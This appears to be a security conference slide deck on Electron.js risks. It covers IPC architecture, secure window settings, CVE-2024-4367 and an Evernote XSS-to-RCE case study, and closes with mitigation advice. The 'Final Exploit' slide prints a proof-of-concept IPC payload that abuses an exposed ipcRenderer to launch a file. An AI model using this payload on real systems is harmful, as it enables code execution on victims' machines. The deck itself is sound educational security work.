

From Code to Compromise: The Hidden Risks in Electron. JS

A *Lu513n* rant





probably in billions?

More than 150 million users

Cross-platform

Chromium + Node Js

Released in 2013



































Introduction



Rohit Narayanan M

Security Engineer @ *Traboda Cyberlabs*

4+ years in web security

CTF Player @ *team biOs*

Le Lu513n



Chrome for Front-end

Node for backend

Large Patch gap

Multi-process architecture

- Main process
- Renderer processes
- IPC




More on Electron











Architecture

Js main.js

```
const { ipcMain } = require('electron/main')

ipcMain.on('set-title', (event, title) => {
  const webContents = event.sender
  const win = BrowserWindow.fromWebContents(webContents)
  win.setTitle(title)
})
```

Js preload.js


```
const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld('electronAPI', {
   setTitle: (title) => ipcRenderer.send('set-title', title)
})
```

```
Js main.js
const win = new BrowserWindow({
  width: 800,
 height: 600,
  webPreferences: {
   nodeIntegration: false,
   contextIsolation: true,
   preload: path.join(__dirname, 'preload.js'),
    sandbox: true,
 },
```




Configuration





nodeIntegration






nodeIntegrationInSubFrames

```
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld('electronAPI', {
   setTitle: (title) => ipcRenderer.send('set-title', title)
})
```

- Script that is executed before renderer
- Access to limited node JS APIs










contextIsolation





Same as chrome sandbox








Runs in a sandboxed renderer,
preventing access to the system level
calls

Adds an IPC to broker the calls









PDF.js XSS - CVE-2024-4367

IPC Misconfiguration in preload.js


Improper checks in main.js







https://Oreg.dev/blog/evernote-rce



Just this week, I discovered a critical Javascript Injection -> Remote-Code Execution in the Evernote app. By simply clicking the shared sugar-coated note with embedded font-injection malicious PDF, the attacker can arbitrary execute command & files spontaneously while invisibly by exploiting the preloaded-and-exposed ipcRenderer Electron Inter-Process-Communication API with the Evernote's built-in IPC event listener * 'BrokerBridge' *in the Main Process . As much as I struggled for 6 hours (Even though I spent way long to writing this blog) from scratch in this fully-obscured massive application to create a 4-step call-chain IPC payload, I still think this will be great material to share and look at:) (Funny-thing, I was on the wrong track for around 2 hours then realizing IPC is actually the key, meaning when I found this as Oday, I start to look for the sink for RCE rather the ipcRenderer related aspects)

In today's blog, we will be exploring the Evernote XSS->RCE journey that contains:

• Understanding how Electron's Multi-Process Model, IPC handlers, and preload.js functions;





JavaScript-based PDF viewer maintained by Mozilla.

Vuln - eval called when compiling glyphs.



Js preload.js

```
o.contextBridge.exposeInMainWorld('electronApi', {
  ipcRenderer: {
    on: (e, t) => o.ipcRenderer.on(e, t),
    send: (e, ...t) => o.ipcRenderer.send(e, ...t),
    removeAllListeners: (e) => o.ipcRenderer.removeAllListeners(e),
    invoke: (e, ...t) => o.ipcRenderer.invoke(e, ...t),
},
})
```


Js main.js

```
Mt.register(
  'boron.actions.openFileAttachment',
  async ({ resource: e, url: t, noteGuid: n, appName: r }) => {
    try {
      if (!t) return
      const o = (await (0, ea.getCurrentUserID)()).split(':')[1],
        a = lv({ resource: e, noteGuid: n, userID: o })
      if (0().existsSync(a))
        await cv({ filePath: a, resource: e, noteGuid: n, appName: r })
    } catch (e) {
      av.error(`Error in openFileAttachment: ${e}`),
        jp('Message.openFileAttachment.failure')
    }
}
```

```
window.top.electronApi.ipcRenderer.send('BrokerBridge', {
 action: 'Bridge/Call',
 id: '7e803824-d666-4ffe-9ebb-39ac1bd7856f',
 topics: 'boron.actions.openFileAttachment',
  data: {
    resource: {
     hash: '2f82623f9523c0d167862cad0eff6806',
     mime: 'application/octet-stream',
     rect: {...},
     state: 'loaded',
     reference: '22cadlaf-d431-4af6-b818-0e34f9ff150b',
     selected: true,
     url: 'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-
5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-
3aaa-6ad0-a9b7958d402f',
     isInk: false,
     filesize: 45056,
     filename: 'calc.exe',
    },
    url: 'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-
5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-
3aaa-6ad0-a9b7958d402f',
   noteGuid: 'f4cbd0d2-f670-52a7-7ea7-5720d65614fd',
    appName: '',
 },
})
```




Final Exploit





Demo Video









Mitigate XSS


Security options when creating electron windows

Upgrade electron regularly

IPC handler configuration



Don't Check



THANK YOU

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